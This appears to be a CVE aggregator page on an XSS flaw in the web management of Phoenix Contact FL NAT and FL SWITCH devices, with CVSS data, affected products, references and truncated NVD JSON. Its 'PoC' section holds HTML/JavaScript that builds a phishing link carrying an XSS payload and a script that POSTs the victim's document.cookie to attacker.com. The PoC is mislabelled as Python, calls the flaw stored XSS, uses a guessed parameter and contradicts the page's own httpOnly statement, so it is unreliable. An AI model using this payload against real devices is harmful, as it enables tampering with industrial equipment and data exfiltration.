CVE-2025-41752

Description

An XSS vulnerability in pxc_portSfp.php can be used by an unauthenticated remote attacker to trick an authenticated user to click on the link provided by the attacker in order to change parameters available via web based management (WBM). The vulnerability does not provide access to system-level resources such as operating system internals or privileged functions. Access is limited to device configuration parameters that are available in the context of the web application. The session cookie is secured by the httpOnly Flag. Therefore an attacker is not able to take over the session of an authenticated user.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:phoenixcontact:fl_nat_2008_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:phoenixcontact:fl_nat_2008:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:phoenixcontact:fl_nat_2208_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:phoenixcontact:fl_nat_2208:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:phoenixcontact:fl_nat_2304-2gc-2sfp_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:phoenixcontact:fl_nat_2304-2gc-2sfp:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:phoenixcontact:fl_switch_2005_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:phoenixcontact:fl_switch_2005:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:phoenixcontact:fl_switch_2008_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:phoenixcontact:fl_switch_2008:-:*:*:*:*:*:*:* - NOT VULNERABLE

phox WBM pxc_portSfp.php (版本未知，建议联系厂商确认)

phox device firmware (所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-41752 XSS PoC -->
<!-- Target: phox device Web Management (WBM) pxc_portSfp.php -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-41752 PoC</title>
</head>
<body>
    <h1>CVE-2025-41752 XSS Vulnerability PoC</h1>
    <p>Target: phox WBM pxc_portSfp.php</p>
    
    <!-- Malicious Link - Social Engineering Attack Vector -->
    <p>Malicious Link for Social Engineering:</p>
    <a id='malicious-link' href='#' target='_blank'>Click here for special offer</a>
    
    <script>
        // Construct the XSS payload URL
        const targetBase = 'http://[TARGET_IP]/pxc_portSfp.php';
        const xssPayload = '<script>alert("XSS CVE-2025-41752")</script>';
        
        // Encode the payload for URL injection
        const maliciousURL = targetBase + '?param=' + encodeURIComponent(xssPayload);
        document.getElementById('malicious-link').href = maliciousURL;
        
        // XSS Verification Script (for authorized testing only)
        function verifyXSS() {
            console.log('Testing XSS injection point...');
            
            // Simulate the vulnerable parameter reflection
            const testParam = '<img src=x onerror="alert(\'CVE-2025-41752\');">';
            console.log('Test payload: ' + testParam);
            
            // In actual vulnerable page, this would be reflected without encoding
            // document.write(testParam);
        }
        
        // Automated parameter modification PoC
        function exploitConfigChange() {
            // This demonstrates how attacker could modify WBM parameters
            console.log('Attempting to modify WBM configuration via XSS...');
            
            // Example: Modify form values
            const maliciousScript = `
                // Wait for page load
                setTimeout(function() {
                    // Find configuration form
                    const forms = document.forms;
                    for (let form of forms) {
                        // Attempt to modify form parameters
                        const inputs = form.getElementsByTagName('input');
                        for (let input of inputs) {
                            console.log('Found input: ' + input.name);
                        }
                    }
                    
                    // Send configuration changes to attacker
                    fetch('https://attacker.com/log?action=config_modify', {
                        method: 'POST',
                        body: document.cookie
                    });
                }, 1000);
            `;
            
            console.log('Exploit script prepared');
            return maliciousScript;
        }
        
        // Display PoC information
        console.log('=== CVE-2025-41752 PoC ===');
        console.log('Vulnerability: Stored XSS in pxc_portSfp.php');
        console.log('Attack Vector: Network-based, requires user interaction');
        console.log('Malicious URL: ' + maliciousURL);
    </script>
    
    <h2>Attack Scenario:</h2>
    <ol>
        <li>Attacker crafts malicious URL with XSS payload</li>
        <li>Attacker tricks authenticated user into clicking the link</li>
        <li>User's browser executes the malicious JavaScript</li>
        <li>Attacker can modify device configuration via WBM</li>
    </ol>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-41752
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-41752
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-41752/
[4] VulDB https://vuldb.com/cve/CVE-2025-41752
[5] https://certvde.com/en/advisories/VDE-2025-071/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-41752", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:50.900", "lastModified": "2025-12-19T16:45:51.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An XSS vulnerability in pxc_portSfp.php can be used by an unauthenticated remote attacker to trick an authenticated user to click on the link provided by the attacker in order to change parameters available via web based management (WBM). The vulnerability does not provide access to system-level resources such as operating system internals or privileged functions. Access is limited to device configuration parameters that are available in the context of the web application. The session cookie is secured by the httpOnly Flag. Therefore an attacker is not able to take over the session of an authenticated user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_nat_2008_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "6A9FE2C7-C862-4EC7-933A-0F3E4E100444"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_nat_2008:-:*:*:*:*:*:*:*", "matchCriteriaId": "A03AD87F-AA1C-48EA-AC10-B5F20C3064F1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_nat_2208_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "A66309AE-7374-41A9-8281-68A0CDC437E1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_nat_2208:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2713DED-10BE-48AA-8CF0-764A3DD6A4E9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_nat_2304-2gc-2sfp_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "C49972CF-8229-42AD-BF96-A05C13119FBB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_nat_2304-2gc-2sfp:-:*:*:*:*:*:*:*", "matchCriteriaId": "C95847FA-DDAD-4753-B7F3-D67149DA639D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2005_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "96F33480-DC6D-4B9E-918F-BDC910146F4A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2005:-:*:*:*:*:*:*:*", "matchCriteriaId": "7BE280FC-2A01-4B82-B954-91B86A4D7462"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2008_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "9773B1E5-62B1-44EB-B8DD-A2E45BF9D930"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2008:-:*:*:*:*:*:*:*", "matchCriteriaId": "322DF000-6060-4E37-A91F-0EF0D0A0E909"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2008f_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "DBFA9AC1-51A3-4516-81E9-8044EFB9E436"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2008f:-:*:*:*:*:*:*:*", "matchCriteriaId": "8D3F1820-AF71-4D9A-BC63-1B886C739FD0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2016_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "E2224C43-207D-4E66-96CE-7994EA2F0C6B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2016:-:*:*:*:*:*:*:*", "matchCriteriaId": "5C4DFBF9-2A05-4888-B457-E29617B74C95"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2105_fi ... (truncated)